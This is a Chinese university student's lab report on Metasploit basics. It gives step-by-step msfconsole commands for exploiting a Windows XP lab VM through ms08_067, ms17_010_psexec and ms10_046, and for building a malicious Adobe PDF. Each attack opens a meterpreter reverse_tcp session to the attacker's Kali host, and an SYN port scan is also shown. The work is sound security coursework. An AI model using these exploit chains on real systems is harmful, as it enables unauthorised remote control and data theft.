2018-2019 2 20165203 《网络对抗技术》Exp5 MSF基础
2018-2019 2 20165203 《网络对抗技术》Exp5 MSF基础
实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
基础知识问答
用自己的话解释什么是exploit
,payload
,encode
.
用自己感觉通俗的话来说:
exploit
: msf用来攻击的一种模块工具。
payload
: 老师上课说的,用来将msf生成的shellcode送到执行攻击程序的代码里去。
encode
: 主要功能是编码,就是伪装攻击代码,让它能够绕过“坏字符”,从而能正常地攻击靶机,避免出现因“坏字符”而出现问题。
知识储备
MSF的六种模块
- Exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
其实就是攻击模块,即负责攻击的模块。 - Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码,通俗地来说,就是负责“搬运”shellcode。 - Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
不改变payload作用,但能对payload进行加工,使其绕过“坏字符”。 - Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。 - Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
这里主要指的是攻击之后可能用到的一些模块。 - Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
实践过程
一个主动攻击实践
ms08_067_netapi(成功)
攻击方:Kali(192.168.154.152)
靶机:WindowsXP SP3(English)(192.168.154.153)
Ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
-
首先,我们可以先扫描一下靶机有哪些漏洞,我找到了一篇博客----metaaploit利用漏洞渗透靶机,里面介绍的很详细。有两个指令可以扫描:
nmap -O 靶机IP
和nmap --script==vuln 靶机IP
。我们可以都来试一下: -
- 输入
nmap -O 192.168.154.153
,如图所示,呵呵,什么鬼。
- 输入
-
- 输入
nmap --script==vuln 192.168.154.153
,如图所示,我们可以发现有两个漏洞:ms08_067
和ms017-010
,我们可以都试一下。
- 输入
- 打开
msfconsole
,查看一下ms08_067
,输入search ms08_067
,我们可以看到在攻击模块中确实存在这样一个漏洞exploit/windows/smb/ms08_067_netapi
。
-
我们就利用这个漏洞来进行攻击,输入
use exploit/windows/smb/ms08_067_netapi
。 -
接下来,问题又来了,用什么攻击载荷
payload
来进行攻击呢?我们可以输入show payloads
来查看一下。
-
我们可以看到很多可用的
payload
,我就选择一个我们前几次实验没有用过的generic/meterpreter_reverse_tcp
吧,输入set payload generic/meterpreter_reverse_tcp
来设置相关参数。 -
那么,问题又来了,有哪些参数需要设置呢?我们可以输入
show options
来查看。 -
我们可以看到我们需要设置的有
RHOST----被攻击的靶机IP
。
- 我们就可以着手开始设置了,输入
set RHOST 192.168.154.153
,在这里,其实其他的参数就不用设置,只不过一开始做实验比较保守,就给设置了,嘻嘻。
-
设置好参数后,输入
exploit
开始攻击。 -
攻击成功就会显示如图所示画面。
-
输入一个指令
dir
,就会显示所有文件了。
ms017_010_psexec(成功且唯一)
接下来我们尝试一下ms017_010_psexec
。
- 打开
msfconsole
,输入search ms017_010
搜索一下。
-
我们可以看到这样的漏洞存在3个,前两个都有人做过,我们试一下第3个
ms017_010_psexec
。 -
输入
use exploit/windows/smb/ms017_010_psexec
使用这个漏洞模块。 -
接下来,我们还是输入
show payloads
看看有哪些可用的攻击载荷。
- 选择
windows/meterpreter/reverse_tcp
,输入set payloads windows/meterpreter/reverse_tcp
,这里显示的参数一大堆,不过好多都已经默认了,我们只需要设置LHOST
就好。
- 输入
set LHOST 192.168.154.152
,其他的不用设置,自己又保守了。
- 接下来输入
exploit
进行攻击,哇,出现了终端,输入dir
,成功了,开心地蹦起。
一个针对浏览器的攻击
ms10_042(失败)
攻击方:Kali(192.168.154.152)
靶机:Windows XP SP3(English)(192.168.154.153)
- 首先,输入
cd /usr/share/metaploit-framework/modules/exploit/windows/browser
查询看一下有什么漏洞可以攻击,如图所示,发现一个漏洞ms10_042
.
- 打开
msfconsole
进行查询。 - 输入
search ms10_042
,搜索该漏洞。
- 输入
info exploit/windows/browsers/ms10_042_helpctr_xss_cmd_exec
来查询该漏洞,我们可以看到相应靶机。
这里看到的靶机是自动搜索的。
- 输入
use exploit/windows/browsers/ms10_042_helpctr_xss_cmd_exec
,使用该模块。 - 和上面一样,查询相应的
payloads
,我选择windows/meterpreter/reverse_tcp
的攻击载荷,输入set payload windows/meterpreter/reverse_tcp
,并输入show options
显示相应参数,发现我们只需要设置LHOST
。
- 输入
exploit
进行攻击,遗憾的是,没有弹出相应链接入口,攻击失败。
ms10_046_shortcut_icon_dllloader(成功且唯一)
攻击方:Kali(192.168.154.152)
靶机:windows xp sp3(English)(192.168.154.153)
-
根据刚才在
/usr/share/metaploit-framework/modules/exploit/windows/browser
中看到的漏洞,我们可以看到还有一个漏洞ms10_046_shortcut_icon_dllloader
-
还是刚才的思路,输入命令
search ms10_046 //查询该漏洞的路径
info exploit/windows/browser/ms10_046_shortcut_icon_dllloader//查询该漏洞相应的信息
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader//使用该漏洞
show payloads//展示该漏洞相应的攻击载荷
set payload windows/meterpreter/reverse_tcp//设置相应的攻击载荷的参数
set LHOST 192.168.154.152
set SRVHOST 192.168.154.152
set RHOST 192.168.154.153
exploit//开始攻击
- 出现如图所示界面,主要是弹出了一个链接入口
http://192.168.154.152:80
,如图所示。
- 在靶机中打开这个链接,弹出两个文件,打开其中一个文件
- 打开后,我们就可以发现kali已经建立了会话,输入
sessions
,我们就可以看到建立会话的ID。
- 输入
sessions -i 1
,打开session,成功(长舒一口气)。
一个针对客户端的攻击
攻击Adobe(成功)
攻击方:Kali(192.168.154.152)
靶机:windows XP sp3(192.168.154.153)
步骤:
msfconsole//打开msf
search adobe//查找与adobe有关的漏洞
use windows/fileformat/adobe_cooltype_sing //使用攻击模块
set payload windows/meterpreter/reverse_tcp//设置攻击载荷
set LHOST 192.168.154.152
set FILENAME 20165203.pdf//设置生成文件的文件名
exploit//攻击
- 如图所示,显示文件已生成在
root/.msf4/local/
下,我们可以进入此路径,找到该文件。
- 将生成的文件
20165203.pdf
复制到靶机中。
- 在Kali中输入
back
退出当前模块,开始监听 - 输入
use exploit/multi/handler//使用监听模块
set payload windows/meterpreter/reverse_tcp//设置攻击载荷
set LHOST 192.168.154.152
exploit//攻击
-
在靶机中打开相应的后门文件
20165203.pdf
。 -
如图所示,攻击成功,这个没有遇到太多困难。
成功应用任何一个辅助模块
使用auxiliary/scanner/portscan/syn模块攻击(成功且唯一)
- 进入
msfconsole
后,我用show auxiliary
来展示一下辅助模块,发现了很多扫描端口的模块。
我也上网搜了一下,这些标识的内容:
ack:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;
ftpbounce:通过FTP BOUNCE攻击的原理对TCP服务进行枚举
syn:使用发送TCP SYN标志的方式探测开放的端口
tcp:通过一次完整的TCP链接来判断端口是否开放
xmas:一种更为隐蔽的扫描方式,通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤
- 我选择了
auxiliary/scanner/portscan/syn
模块,输入use auxiliary/scanner/portscan/syn
使用这个模块。 - 利用
show options
来查看参数。
- 输入
set RHOST 192.168.154.153//设置靶机地址
set THREAD 50//设置线程数
- 输入
run
运行
- 此时,我们也可以在msf中利用
nmap
的相关指令对主机进行扫描,如图所示,输入nmap -sS -Pn 192.168.154.153
对靶机进行扫描。
- 通过观察不难发现,扫描速度更快,并且对每种端口的作用也有了个说明,能弄清楚每个端口的作用。
实验小总结
通过上面的实验,我们可以总结出使用MSF攻击一般有两种思路:
- 确定靶机。
nmap -O 靶机IP 或 nmap --script==vuln 靶机IP//扫描靶机上的漏洞
msfconsole//打开msf
search 漏洞关键字//找出模块的路径
开始进行一系列攻击
- 不确定靶机
进入相应文件夹查找漏洞
msfconsole//打开msf
search 漏洞关键字//找出模块的路径
info 模块路径//查询模块的信息,尤其注意target,根据target信息来找相应的靶机
进行一系列攻击
实验中遇到的问题及解决方法
基本遇到的问题就是一直在找靶机,找Target对应的版本,遇到了一个小问题,希望对大家有帮助。
Q:在攻击Adobe时,生成的20165203.pdf
文件没有找到,甚至/root
下的msf4/local/
也没有找到。
A:当时自己的反应是文件夹被隐藏了,于是我通过点击右上的下三角,将显示隐藏的文件
勾上即可。
离实战还缺什么步骤
我感觉目前我们对漏洞的分析还是具有一定的局限性,仅限于从网上找一些大家攻击过的漏洞来进行攻击。要想达到实战的能力,我们还应有探索的勇气,敢于找到一些新的攻击模块,自己一步一步查询相应的靶机,查询相应的参数来进行设置,所以,还是需要多多实战。
实验感想
通过本次实验,我对MSF有了更深的理解,原来自己一直分不清msf
、metaploit
、msfconsole
和meterpreter
的关系,现在也明白了metaploit
是msf
的一个版本,msfconsole
是msf
的一个接口,meterpreter
是msf
的一个工具。
自己也通过实验总结了使用MSF攻击的思路和一般步骤,这次实验真的很有收获,但是《网络对抗》还是一个实战性的科目,自己还需要多多实践。